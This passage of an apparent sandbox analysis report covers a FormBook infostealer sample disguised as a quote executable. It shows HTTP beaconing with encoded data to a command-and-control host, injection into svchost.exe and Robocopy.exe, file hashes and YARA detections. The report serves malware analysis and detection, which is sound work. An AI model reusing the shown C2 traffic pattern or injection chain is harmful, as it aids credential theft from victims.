30 7a 4e 6f 41 47 74 6f 36 2f 6d 43 4d 70 35 42 68 2f 41 65 44 75 57 42 69 32 75 53 39 55 59 31 58 38 34 79 6b 73 74 53 65 41 42 46 68 52 2b 72 57 4f 49 79 48 6c 73 50 48 74 54 37 74 4b 59 78 61 73 30 47 66 48 33 6b 53 35 47 74 74 6b 6d 4d 45 2b 58 6b 66 75 31 37 79 4f 30 78 54 39 70 4f 59 63 44 30 4d 52 6e 62 76 76 53 4c 47 49 71 47 56 38 47 35 6c 78 2f 4b 46 2b 77 59 6f 3d Data Ascii: Ah=WW0cHqpvWEexcD2dHtZwqL5CnBvsW0i3eI91G04OQAlZLlsrevUOMlNAS0OyezFaqSbVMcnYOs0zNoAGto6/mCMp5Bh/AeDuWBi2uS9UY1X84ykstSeABFhR+rWOIyHlsPHtT7tKYxas0GfH3kS5GttkmME+Xkfu17yO0xT9pOYcD0MRnbvvSLGIqGV8G5lx/KF+wYo=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.5	63729	208.91.197.39	80	5008	C:\Program Files (x86)\NHuuOIFvCiPFQibUqPiGsnnYLmnfQHCwDOqCxLWShlKuSgLUvc\HoiWfznxKU.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 17:32:13.025866985 CEST	870	OUT	POST /xf5b/ HTTP/1.1 Host: www.alphaaistore.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Content-Length: 223 Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Connection: close Origin: http://www.alphaaistore.com Referer: http://www.alphaaistore.com/xf5b/ User-Agent: Mozilla/5.0 (Linux; U; Android 2.3.6; pt-BR; LG-E400f Build/GRK39F) AppleWebKit/528.5+ (KHTML, like Gecko) Version/3.1.2 Mobile Safari/525.20.1 UCBrowser/10.3.0.622 Mobile Data Raw: 41 68 3d 57 57 30 63 48 71 70 76 57 45 65 78 66 67 2b 64 46 4f 78 77 73 72 35 4e 2b 78 76 73 59 55 69 7a 65 49 35 31 47 78 59 65 52 79 52 5a 4c 42 6b 72 66 74 73 4f 63 31 4e 41 47 6b 4f 4e 52 54 45 59 71 53 6d 71 4d 63 72 59 4f 6f 63 7a 4e 73 45 47 73 62 53 34 6e 53 4d 76 31 68 68 39 64 75 44 75 57 42 69 32 75 53 34 42 59 32 6e 38 34 42 38 73 72 78 47 44 65 31 68 57 75 37 57 4f 4d 79 48 35 73 50 47 36 54 35 59 68 59 7a 53 73 30 45 48 48 33 31 54 76 50 74 74 69 37 38 46 70 63 30 79 63 31 61 69 42 30 6a 69 37 38 49 73 30 47 43 68 37 39 35 6e 48 42 72 71 77 36 56 64 4c 58 4a 45 59 6c 70 56 4f 75 50 2f 41 67 31 4b 50 47 2f 64 79 30 63 49 66 37 2b 51 41 34 52 74 2f Data Ascii: Ah=WW0cHqpvWEexfg+dFOxwsr5N+xvsYUizeI51GxYeRyRZLBkrftsOc1NAGkONRTEYqSmqMcrYOoczNsEGsbS4nSMv1hh9duDuWBi2uS4BY2n84B8srxGDe1hWu7WOMyH5sPG6T5YhYzSs0EHH31TvPtti78Fpc0yc1aiB0ji78Is0GCh795nHBrqw6VdLXJEYlpVOuP/Ag1KPG/dy0cIf7+QA4Rt/

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.5	63730	208.91.197.39	80	5008	C:\Program Files (x86)\NHuuOIFvCiPFQibUqPiGsnnYLmnfQHCwDOqCxLWShlKuSgLUvc\HoiWfznxKU.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 17:32:15.571778059 CEST	1887	OUT	POST /xf5b/ HTTP/1.1 Host: www.alphaaistore.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Content-Length: 1239 Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Connection: close Origin: http://www.alphaaistore.com Referer: http://www.alphaaistore.com/xf5b/ User-Agent: Mozilla/5.0 (Linux; U; Android 2.3.6; pt-BR; LG-E400f Build/GRK39F) AppleWebKit/528.5+ (KHTML, like Gecko) Version/3.1.2 Mobile Safari/525.20.1 UCBrowser/10.3.0.622 Mobile Data Raw: 41 68 3d 57 57 30 63 48 71 70 76 57 45 65 78 66 67 2b 64 46 4f 78 77 73 72 35 4e 2b 78 76 73 59 55 69 7a 65 49 35 31 47 78 59 65 52 79 4a 5a 49 7a 38 72 65 4b 41 4f 4f 6c 4e 41 46 6b 4f 4d 52 54 45 5a 71 57 4b 6d 4d 64 57 6e 4f 75 59 7a 66 66 4d 47 6b 4b 53 34 75 53 4d 76 71 52 68 67 41 65 43 30 57 42 79 79 75 54 49 42 59 32 6e 38 34 41 4d 73 38 79 65 44 46 31 68 52 2b 72 58 50 49 79 48 64 73 50 2f 50 54 35 63 58 59 6a 79 73 30 6e 2f 48 37 6e 4c 76 54 39 74 67 36 38 46 68 63 30 2b 48 31 61 2b 37 30 6a 36 64 38 50 59 30 47 6d 51 43 34 4a 2f 45 51 36 69 71 71 43 56 47 4f 75 73 2b 72 34 46 50 69 4e 6e 56 6e 56 6d 78 42 71 56 4d 68 50 39 7a 70 34 6b 61 34 58 49 73 55 74 4a 54 45 77 38 34 56 7a 79 4e 48 6a 6c 6b 39 47 7a 4b 69 49 4a 33 6c 7a 41 4c 4d 54 64 74 4d 2b 6d 48 4e 57 30 67 78 43 47 2f 6c 69 65 76 49 43 74 65 4a 53 6a 69 48 35 4f 65 66 6b 74 6a 74 68 69 33 4f 57 51 62 42 53 61 56 34 69 63 4a 52 4b 52 35 45 47 38 6f 55 33 4c 6e 73 64 6a 6b 73 6f 6b 47 6b 41 2b 5a 45 69 2b 49 4b 37 31 5a 6f 78 32 [TRUNCATED] Data Ascii: Ah=WW0cHqpvWEexfg+dFOxwsr5N+xvsYUizeI51GxYeRyJZIz8reKAOOlNAFkOMRTEZqWKmMdWnOuYzffMGkKS4uSMvqRhgAeC0WByyuTIBY2n84AMs8yeDF1hR+rXPIyHdsP/PT5cXYjys0n/H7nLvT9tg68Fhc0+H1a+70j6d8PY0GmQC4J/EQ6iqqCVGOus+r4FPiNnVnVmxBqVMhP9zp4ka4XIsUtJTEw84VzyNHjlk9GzKiIJ3lzALMTdtM+mHNW0gxCG/lievICteJSjiH5Oefktjthi3OWQbBSaV4icJRKR5EG8oU3LnsdjksokGkA+ZEi+IK71Zox2vja/0XLK0dXNR8EguaWOZv0ZrHThyS3JVSS2QDZeCTmWizhI6bN5+QlpAabCTTDKJSPUhX354vo+iRBdcay2+NtZ37WlGQEYrNZwd/IGQrJt0Af+foXaqAqmzaIQWY2STheJb9SvJezNk5Iq8Yng+CWX/zrs6doGHSD/xTtGSPt1rEMFiYulmpxGdtDXHdEbT5SFm9MoUcFcbWPzXTUP71nFxhv8ZSDqm4CtFnrV+uyFOIhaDqItHCHpH3Sd59B63pjQnFD3H704luoJ+Eoxa6CKYFZltwhGvjKIRFy9293cxp+66fH62koY3PbDbSK1t/+rvcFA6OUOdPgNeS6FxPi0JbYLxOktMOS04cuFlGWl2r4KxiLUNIdkMOh7TyZs4uipHHb5OiWuAknahFlSygDdXliJeA8uyvhzDAv90rUdLpRgU5Tby+J0PwIVEMcpl3hdTHhwQA7OfVSNeXdlqcTkdTHq2RK77his72g2EPT6XnDEzM9Nc4KRoyphJJfgipKdW56Rb8EydemoejSPYmm+EgBG92OHVT5geDxEMIGghHjtxwUd3VlGq9GKdt97P+EZgJ+PGHPn856ZEx33etqIBL5Vw1HuFz7dimFKxLC8tmQAvXWYYtxF2g8FJZ7bCkL6sPjnPFP2qyQvyam3590cNwKYZ9ml5g [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.5	63731	208.91.197.39	80	5008	C:\Program Files (x86)\NHuuOIFvCiPFQibUqPiGsnnYLmnfQHCwDOqCxLWShlKuSgLUvc\HoiWfznxKU.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 17:32:18.115799904 CEST	588	OUT	GET /xf5b/?Ah=bUc8Ed0aZESOAy+KJaIejJlAhDqRJymtCfRMAnUAQR11I0sOX+AQaEFDTlraWU4+rT7gLfO5Dt9FKcAEmJO6tRh3wQ1OL/3vPyqK0hsKckbG/SsYmEPJIzY3hoX+M0Wr3w==&6RGD=r8eHwnMpb2dxK HTTP/1.1 Host: www.alphaaistore.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/5.0 (Linux; U; Android 2.3.6; pt-BR; LG-E400f Build/GRK39F) AppleWebKit/528.5+ (KHTML, like Gecko) Version/3.1.2 Mobile Safari/525.20.1 UCBrowser/10.3.0.622 Mobile
Sep 27, 2024 17:32:19.335733891 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 15:32:18 GMT Server: Apache Referrer-Policy: no-referrer-when-downgrade Accept-CH: Sec-CH-Save-Data, Sec-CH-DPR, Sec-CH-Width, Sec-CH-Viewport-Width, Sec-CH-Viewport-Height, Sec-CH-Device-Memory, Sec-CH-RTT, Sec-CH-Downlink, Sec-CH-ECT, Sec-CH-Prefers-Color-Scheme, Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-platform-version=("https://dts.gnpge.com"), ch-ua-model=("https://dts.gnpge.com") Set-Cookie: vsid=907vr4749967386924613; expires=Wed, 26-Sep-2029 15:32:18 GMT; Max-Age=157680000; path=/; domain=www.alphaaistore.com; HttpOnly X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAKX74ixpzVyXbJprcLfbH4psP4+L2entqri0lzh6pkAaXLPIcclv6DQBeJJjGFWrBIF6QMyFwXT5CCRyjS2penECAwEAAQ==_h3dUMVMQ/Tk94Fq0yoPok5QyIT/DSRmovzrNNCz/K3l/Yb4FU1nosxLAM3e7WA5VPvoJMW6WmlNd/QkqeA3X/w== Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 Connection: close Data Raw: 62 34 37 32 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 64 65 6c 69 76 65 72 79 2e 63 6f 6e 73 65 6e 74 6d 61 6e 61 67 65 72 2e 6e 65 74 22 3e 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 2e 63 6f 6e 73 65 6e 74 6d 61 6e 61 67 65 72 2e 6e 65 74 22 3e 0d Data Ascii: b472<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><link rel="preconnect" href="https://delivery.consentmanager.net"> <link rel="preconnect" href="https://cdn.consentmanager.net">
Sep 27, 2024 17:32:19.335813999 CEST	1236	IN	Data Raw: 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 63 6d 70 5f 73 74 61 79 69 6e 69 66 72 61 6d 65 20 3d 20 31 3b 20 77 69 6e 64 6f 77 2e 63 6d 70 5f 64 6f 6e 74 6c 6f 61 64 69 6e 69 66 72 Data Ascii: <script>window.cmp_stayiniframe = 1; window.cmp_dontloadiniframe = true; if(!"gdprAppliesGlobally" in window){window.gdprAppliesGlobally=true}if(!("cmp_id" in window)\|\|window.cmp_id<1){window.cmp_id=0}if(!("cmp_cdid" in wi
Sep 27, 2024 17:32:19.335850954 CEST	1236	IN	Data Raw: 28 6a 29 7b 69 66 28 74 79 70 65 6f 66 28 6a 29 21 3d 22 62 6f 6f 6c 65 61 6e 22 29 7b 6a 3d 74 72 75 65 7d 69 66 28 6a 26 26 74 79 70 65 6f 66 28 63 6d 70 5f 67 65 74 6c 61 6e 67 2e 75 73 65 64 6c 61 6e 67 29 3d 3d 22 73 74 72 69 6e 67 22 26 26 Data Ascii: (j){if(typeof(j)!="boolean"){j=true}if(j&&typeof(cmp_getlang.usedlang)=="string"&&cmp_getlang.usedlang!==""){return cmp_getlang.usedlang}var g=window.cmp_getsupportedLangs();var c=[];var f=location.hash;var e=location.search;var a="languages"
Sep 27, 2024 17:32:19.335973024 CEST	1236	IN	Data Raw: 65 73 22 20 69 6e 20 68 29 7b 66 6f 72 28 76 61 72 20 71 3d 30 3b 71 3c 68 2e 63 6d 70 5f 63 75 73 74 6f 6d 6c 61 6e 67 75 61 67 65 73 2e 6c 65 6e 67 74 68 3b 71 2b 2b 29 7b 69 66 28 68 2e 63 6d 70 5f 63 75 73 74 6f 6d 6c 61 6e 67 75 61 67 65 73 Data Ascii: es" in h){for(var q=0;q<h.cmp_customlanguages.length;q++){if(h.cmp_customlanguages[q].l.toUpperCase()==o.toUpperCase()){o="en";break}}}b="_"+o}function x(i,e){var w="";i+="=";var s=i.length;var d=location;if(d.hash.indexOf(i)!=-1){w=d.hash.sub
Sep 27, 2024 17:32:19.336007118 CEST	1236	IN	Data Raw: 6d 70 5f 70 61 72 61 6d 73 3a 22 22 29 2b 28 75 2e 63 6f 6f 6b 69 65 2e 6c 65 6e 67 74 68 3e 30 3f 22 26 5f 5f 63 6d 70 66 63 63 3d 31 22 3a 22 22 29 2b 22 26 6c 3d 22 2b 6f 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 2b 22 26 6f 3d 22 2b 28 6e 65 Data Ascii: mp_params:"")+(u.cookie.length>0?"&__cmpfcc=1":"")+"&l="+o.toLowerCase()+"&o="+(new Date()).getTime();j.type="text/javascript";j.async=true;if(u.currentScript&&u.currentScript.parentElement){u.currentScript.parentElement.appendChild(j)}else{if
Sep 27, 2024 17:32:19.336041927 CEST	1236	IN	Data Raw: 69 66 28 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 29 7b 76 61 72 20 61 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 69 66 72 61 6d 65 22 29 3b 61 2e 73 74 79 6c 65 2e 63 73 73 54 65 78 74 3d 22 64 69 73 70 6c 61 79 3a Data Ascii: if(document.body){var a=document.createElement("iframe");a.style.cssText="display:none";if("cmp_cdn" in window&&"cmp_ultrablocking" in window&&window.cmp_ultrablocking>0){a.src="//"+window.cmp_cdn+"/delivery/empty.html"}a.name=b;a.setAttribute
Sep 27, 2024 17:32:19.336076975 CEST	1236	IN	Data Raw: 61 29 29 7d 65 6c 73 65 7b 69 66 28 61 5b 30 5d 3d 3d 3d 22 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 22 7c 7c 61 5b 30 5d 3d 3d 3d 22 72 65 6d 6f 76 65 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 22 29 7b 5f 5f 63 6d 70 2e 61 2e 70 75 73 68 28 Data Ascii: a))}else{if(a[0]==="addEventListener"\|\|a[0]==="removeEventListener"){__cmp.a.push([].slice.apply(a))}else{if(a.length==4&&a[3]===false){a[2]({},false)}else{__cmp.a.push([].slice.apply(a))}}}}}}};window.cmp_gpp_ping=function(){return{gppVersion
Sep 27, 2024 17:32:19.336780071 CEST	1236	IN	Data Raw: 22 7c 7c 67 3d 3d 3d 22 67 65 74 53 65 63 74 69 6f 6e 22 7c 7c 67 3d 3d 3d 22 67 65 74 46 69 65 6c 64 22 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 7d 65 6c 73 65 7b 5f 5f 67 70 70 2e 71 2e 70 75 73 68 28 5b 5d 2e 73 6c 69 63 65 2e 61 70 70 6c 79 28 Data Ascii: "\|\|g==="getSection"\|\|g==="getField"){return null}else{__gpp.q.push([].slice.apply(a))}}}}}};window.cmp_msghandler=function(d){var a=typeof d.data==="string";try{var c=a?JSON.parse(d.data):d.data}catch(f){var c=null}if(typeof(c)==="object"&&c!=
Sep 27, 2024 17:32:19.336813927 CEST	1236	IN	Data Raw: 5f 73 65 74 53 74 75 62 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 21 28 61 20 69 6e 20 77 69 6e 64 6f 77 29 7c 7c 28 74 79 70 65 6f 66 28 77 69 6e 64 6f 77 5b 61 5d 29 21 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 26 26 74 79 70 65 6f 66 28 77 69 Data Ascii: _setStub=function(a){if(!(a in window)\|\|(typeof(window[a])!=="function"&&typeof(window[a])!=="object"&&(typeof(window[a])==="undefined"\|\|window[a]!==null))){window[a]=window.cmp_stub;window[a].msgHandler=window.cmp_msghandler;window.addEventLi
Sep 27, 2024 17:32:19.336849928 CEST	1236	IN	Data Raw: 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 76 61 72 20 61 62 70 3b 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 3a 2f 2f Data Ascii: ype="text/javascript">var abp;</script><script type="text/javascript" src="http://www.alphaaistore.com/px.js?ch=1"></script><script type="text/javascript" src="http://www.alphaaistore.com/px.js?ch=2"></script><script type="text/javascript">fun
Sep 27, 2024 17:32:19.345432997 CEST	41	IN	Data Raw: 6d 2f 5f 5f 6d 65 64 69 61 5f 5f 2f 66 6f 6e 74 73 2f 6d 6f 6e 74 73 65 72 72 61 74 2d 72 65 67 75 6c 61 72 2f 6d 6f 6e 74 Data Ascii: m/__media__/fonts/montserrat-regular/mont

Target ID:	0
Start time:	11:29:16
Start date:	27/09/2024
Path:	C:\Users\user\Desktop\Quote #270924.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Quote #270924.exe"
Imagebase:	0x400000
File size:	1'366'661 bytes
MD5 hash:	1018070FFEB3F5FA59A306FA6E6B0F57
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Target ID:	2
Start time:	11:29:21
Start date:	27/09/2024
Path:	C:\Windows\SysWOW64\svchost.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Quote #270924.exe"
Imagebase:	0xd10000
File size:	46'504 bytes
MD5 hash:	1ED18311E3DA35942DB37D15FA40CC5B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000002.00000002.2272902332.0000000000C00000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000002.00000002.2272902332.0000000000C00000.00000040.10000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000002.00000002.2272128880.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000002.00000002.2272128880.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000002.00000002.2275425308.0000000003350000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000002.00000002.2275425308.0000000003350000.00000040.10000000.00040000.00000000.sdmp, Author: unknown
Reputation:	high
Has exited:	true

Target ID:	3
Start time:	11:29:23
Start date:	27/09/2024
Path:	C:\Program Files (x86)\NHuuOIFvCiPFQibUqPiGsnnYLmnfQHCwDOqCxLWShlKuSgLUvc\HoiWfznxKU.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\NHuuOIFvCiPFQibUqPiGsnnYLmnfQHCwDOqCxLWShlKuSgLUvc\HoiWfznxKU.exe"
Imagebase:	0x570000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000003.00000002.3986013036.0000000002C50000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000003.00000002.3986013036.0000000002C50000.00000040.00000001.00040000.00000000.sdmp, Author: unknown
Reputation:	high
Has exited:	false

Target ID:	4
Start time:	11:29:25
Start date:	27/09/2024
Path:	C:\Windows\SysWOW64\Robocopy.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWOW64\Robocopy.exe"
Imagebase:	0x9a0000
File size:	131'072 bytes
MD5 hash:	0A1AA3D138103ED9FB645F6B02E41A2F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000004.00000002.3984885805.0000000000800000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000004.00000002.3984885805.0000000000800000.00000040.80000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000004.00000002.3985113849.0000000002AE0000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000004.00000002.3985113849.0000000002AE0000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000004.00000002.3986045977.0000000002F20000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000004.00000002.3986045977.0000000002F20000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
Reputation:	moderate
Has exited:	false

Target ID:	6
Start time:	11:29:38
Start date:	27/09/2024
Path:	C:\Program Files (x86)\NHuuOIFvCiPFQibUqPiGsnnYLmnfQHCwDOqCxLWShlKuSgLUvc\HoiWfznxKU.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\NHuuOIFvCiPFQibUqPiGsnnYLmnfQHCwDOqCxLWShlKuSgLUvc\HoiWfznxKU.exe"
Imagebase:	0x570000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Target ID:	7
Start time:	11:29:50
Start date:	27/09/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\Firefox.exe"
Imagebase:	0x7ff79f9e0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true